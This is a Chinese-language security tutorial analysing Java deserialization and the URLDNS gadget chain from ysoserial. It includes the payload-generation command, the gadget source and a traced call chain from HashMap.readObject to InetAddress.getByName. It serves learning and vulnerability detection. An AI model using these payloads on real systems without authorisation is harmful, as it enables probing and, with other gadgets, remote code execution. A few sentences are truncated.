Java安全-反序列化-1-URLDNS

Naraku

发布于 2022-04-14 15:24:33

1970

发布于 2022-04-14 15:24:33

文章被收录于专栏：Naraku的专栏Naraku的专栏

反序列化

序列化：将对象写入到IO流，ObjectOutputStream.writeObject()方法
反序列化：从IO流恢复对象，ObjectOutputStream.readObject()方法

简单实现

Java在序列化对象时，将会调用这个对象的writeObject方法，参数类型是ObjectOutputStream，开发者可以将任何内容写入这个Stream中；反序列化时，也会调用这个对象的readObject方法，可以读取到前面写入的内容并进行处理

定义一个Person类，继承java.io.Serializable接口，并重写writeObject/readObject方法

package com.naraku.sec.serialize;
import java.io.*;

public class Person implements Serializable {
    public String name;
    public int age;

    Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    private void writeObject(ObjectOutputStream oos) throws IOException {
        System.out.println("Call writeObject");
        oos.defaultWriteObject();
        oos.writeObject("This is a Person");
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        System.out.println("Call readObject");
        ois.defaultReadObject();
        String message = (String) ois.readObject();
        System.out.println(message);
    }
}

对这个类进行实例化，然后对实例化对象进行序列化和反序列化

package com.naraku.sec.serialize;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class DemoSerialize {
    public static void main(String[] args) throws Exception {
        String serfile = "person.ser";
        Person person = new Person("Naraku", 20);

        // Serialize
        FileOutputStream fos = new FileOutputStream(serfile);
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(person);
        fos.close();

        // DeSerialize
        FileInputStream fis = new FileInputStream(serfile);
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object res = ois.readObject();
        System.out.println(res);
        ois.close();
    }
}

/* 输出结果
Call writeObject
Call readObject
This is a Person
com.naraku.sec.serialize.Person@7e6cbb7a
*/

输出时可以看到，在序列化和反序列化时，分别触发了类中重写的writeObject和readObject方法。另外在类中的readObject方法中也可以对写入的字符串进行操作，例如这里将其进行了打印。

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    System.out.println("Call readObject");
    ois.defaultReadObject();
    String message = (String) ois.readObject();
    System.out.println(message);
}

使用SerializationDumper工具进行分析

$ java -jar SerializationDumper-v1.13.jar -r person.ser

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 31 - 0x00 1f
        Value - com.naraku.sec.serialize.Person - 0x636f6d2e6e6172616b752e7365632e73657269616c697a652e506572736f6e
      serialVersionUID - 0x8c 5a a6 89 b9 98 8d 24
      newHandle 0x00 7e 00 00
      classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
      fieldCount - 2 - 0x00 02
      Fields
        0:
          Int - I - 0x49
          fieldName
            Length - 3 - 0x00 03
            Value - age - 0x616765
        1:
          Object - L - 0x4c
          fieldName
            Length - 4 - 0x00 04
            Value - name - 0x6e616d65
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 01
              Length - 18 - 0x00 12
              Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 02
    classdata
      com.naraku.sec.serialize.Person
        values
          age
            (int)20 - 0x00 00 00 14
          name
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 03
                Length - 6 - 0x00 06
                Value - Naraku - 0x4e6172616b75
        objectAnnotation
          TC_STRING - 0x74
            newHandle 0x00 7e 00 04
            Length - 16 - 0x00 10
            Value - This is a Person - 0x54686973206973206120506572736f6e
          TC_ENDBLOCKDATA - 0x78

ObjectAnnotation

这里可以看到，objectAnnotation处存放了前面所写入的字符串This is a Person

在自定义的writeObject方法中，调用传入的ObjectOutputStream的writeObject方法写入的对象，会写入到objectAnnotation中。
而自定义的readObject方法中，调用传入的ObjectInputStream的readObject方法读入的对象，则是objectAnnotation中存储的对象。

这个特性就让Java的开发变得非常灵活。比如后面将会讲到的HashMap，其就是将Map中的所有键、值都存储在objectAnnotation中，而并不是某个具体属性里。

ysoserial

ysoserial是一款用于生成反序列化数据的工具。攻击者可以选择利用链和输入自定义命令，然后通过该工具生成对应的反序列化利用数据，然后将生成的数据发送给存在漏洞的目标，从而执行命令。

Git下载源码然后使用IDEA打开，此时会自动根据pom.xml文件的配置下载依赖

- 如果依赖有问题，可以手工点击菜单里的`Files - Project Structure`配置`Libraries`在

<manifest>
    <mainClass>ysoserial.GeneratePayload</mainClass>
</manifest>

打开src/main/java/ysoserial/GeneratePayload.java，点击main函数左侧的小箭头，选择Debug

这个时候可以看到控制台只打印了一些使用说明，是因为没有添加参数

Gadget

利用链也叫“Gadget Chains”，通常称为Gadget，它连接的是从触发位置开始到执行命令的位置结束。

下载编译好的Jar包：ysoserial-master-SNAPSHOT.jar

$ java -jar ysoserial.jar URLDNS "<DNGLog地址>" > dnslog.ser

如上简单生成了一条URLDNS的POC，大部分的Gadget的参数就是一条命令。将生成好的POC发送给目标，如果目标存在反序列化漏洞，并满足这个Gadget对应的条件，那么该命令将会被执行。

URLDNS

URLDNS是ysoserial中⼀个利⽤链的名字，但准确来说，这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令，⽽仅为⼀个URL，其能触发的结果也不是命令执⾏，⽽是⼀次DNS请求。

虽然这个“利⽤链”实际上是不能“利⽤”的，但因为其如下的优点，⾮常适合检测反序列化漏洞时使⽤：

使⽤Java内置的类构造，对第三⽅库没有依赖
在⽬标没有回显的时候，能够通过DNS请求得知是否存在反序列化漏洞

序列化

在GeneratePayload.java的main函数处添加断点，然后修改配置添加参数，最后点击调试

# 配置参数
URLDNS "<DNGLog平台地址>"

首先ysoserial接收到参数并分别赋值，接着进入Utils.getPayloadClass("URLDNS")方法，跟进

final String payloadType = args[0];  // URLDNS
final String command = args[1];      // <DNGLog平台地址>

getPayloadClass()通过反射获取到传入的className的Class对象，即URLDNS的Class类对象，并赋值给clazz后返回

- 这里一开始的`Class.forName("URLDNS")`并没有找到对应的类对象，所以`clazz == null`
- 进入`if`语句后，通过拼接完整类名`ysoserial.payloads.URLDNS`才获取到类对象

返回后，payloadClass == ysoserial.payloads.URLDNS，非空，进入下一步。
使用前面获取到的URLDNS类对象创建实例，并调用该实例的getObject()方法

final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);

跟进看看getObject()方法

- 先创建了一个HashMap对象：`HashMap ht = new HashMap();`
- 然后创建一个URL对象，并将URL对象设置为键，对应的值为传入的参数`url`：`ht.put(u, url)`
- 最后通过反射设置URL对象的`hashCode`的值为`-1`：`Reflections.setFieldValue(u, "hashCode", -1)`

public Object getObject(final String url) throws Exception {
    //Avoid DNS resolution during payload creation
    //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
    URLStreamHandler handler = new SilentURLStreamHandler();

    HashMap ht = new HashMap(); // HashMap that will contain the URL
    URL u = new URL(null, url, handler); // URL to use as the Key
    ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

    Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

    return ht;
}

将HashMap对象返回后，对其进行序列化

Serializer.serialize(object, out);

public static void serialize(final Object obj, final OutputStream out) throws IOException {
    final ObjectOutputStream objOut = new ObjectOutputStream(out);
    objOut.writeObject(obj);
}

至此就是URLDNS的整个序列化流程

反序列化

前面的简单实现的例子中说了，在序列化时通过writeObject方法写入的数据，可以在反序列化时通过readObject方法对其进行操作。因为Java开发者（包括Java内置库的开发者）经常会在readObject方法中写⾃⼰的逻辑，所以导致可以构造利⽤链。

在这个URLDNS利用链中，ysoserial调用了URLDNS类的getObject方法，最后返回了HashMap对象，而这个对象就是后来被序列化的对象。

在这段POC被反序列化时，也会调用HashMap对象的readObject方法，因此可以直接看HashMap类的readObject方法。

private void readObject(java.io.ObjectInputStream s)
  throws IOException, ClassNotFoundException {
  // Read in the threshold (ignored), loadfactor, and any hidden stuff
  s.defaultReadObject();
  reinitialize();
  if (loadFactor <= 0 || Float.isNaN(loadFactor))
    throw new InvalidObjectException("Illegal load factor: " +
                                     loadFactor);
  s.readInt();                // Read and ignore number of buckets
  int mappings = s.readInt(); // Read number of mappings (size)
  if (mappings < 0)
    throw new InvalidObjectException("Illegal mappings count: " +
                                     mappings);
  else if (mappings > 0) { // (if zero, use defaults)
    // Size the table using given load factor only if within
    // range of 0.25...4.0
    float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
    float fc = (float)mappings / lf + 1.0f;
    int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
               DEFAULT_INITIAL_CAPACITY :
               (fc >= MAXIMUM_CAPACITY) ?
               MAXIMUM_CAPACITY :
               tableSizeFor((int)fc));
    float ft = (float)cap * lf;
    threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                 (int)ft : Integer.MAX_VALUE);
    
    // Check Map.Entry[].class since it's the nearest public type to
    // what we're actually creating.
    SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
    @SuppressWarnings({"rawtypes","unchecked"})
    Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
    table = tab;
    
    // Read the keys and values, and put the mappings in the HashMap
    for (int i = 0; i < mappings; i++) {
      @SuppressWarnings("unchecked")
      K key = (K) s.readObject();
      @SuppressWarnings("unchecked")
      V value = (V) s.readObject();
      putVal(hash(key), key, value, false, false);
    }
  }
}

在41行putVal(hash(key), key, value, false, false);处打下断点

在没有分析过的情况下，我为何会关注hash函数？因为ysoserial的注释中很明确地说明了“During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.”，是hashCode的计算操作触发了DNS请求。

利用链分析

前面手动生成了一个POC并存放到dnslog.ser，这里利用其进行反序列化分析

创建一个TestDNS.java文件

import java.io.*;

public class TestDNS {
  public static void main(String[] args) throws IOException, ClassNotFoundException {
    String serfile = "dnslog.ser";
    FileInputStream fis = new FileInputStream(serfile);
    ObjectInputStream ois = new ObjectInputStream(fis);
    ois.readObject();
    System.out.println(ois);
  }
}

然后在TestDNS.java中开始调试，程序从TestDNS的ois.readObject()进入到HashMap的断点，接着调用了HashMap.putVal()方法，该方法中传入了一个参数hash(key)，跟进一下
hash()方法调用了key.hashCode()，继续执行后面的handler.hashCode()，继续跟进，进入到URLStreamHandler

- 序列化时的`getObject()`方法中使用反射将`URL`对象的`hashCode`设为`-1`在该方法中调用了

此处InetAddress.getByName(host)的作⽤是根据主机名获取IP地址，即进行一次DNS查询

- 执行完这一步后即可在DNSLog平台看到DNS请求记录

从反序列化开始的readObject，到最后触发DNS请求的getByName，URLDNS的Gadget如下：

HashMap->readObject()
  HashMap->hash()
    URL->hashCode()
      URLStreamHandler->hashCode()
        URLStreamHandler->getHostAddress()
          InetAddress->getByName()

hashCode的问题

为什么要通过反射将URL对象的hashCode的值为-1？原因已经在URLDNS的注释中：

During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

设置这个URL对象的hashCode为初始值-1，这样反序列化时将会重新计算其hashCode，才能触发到后⾯的DNS请求，否则不会调⽤URL->hashCode()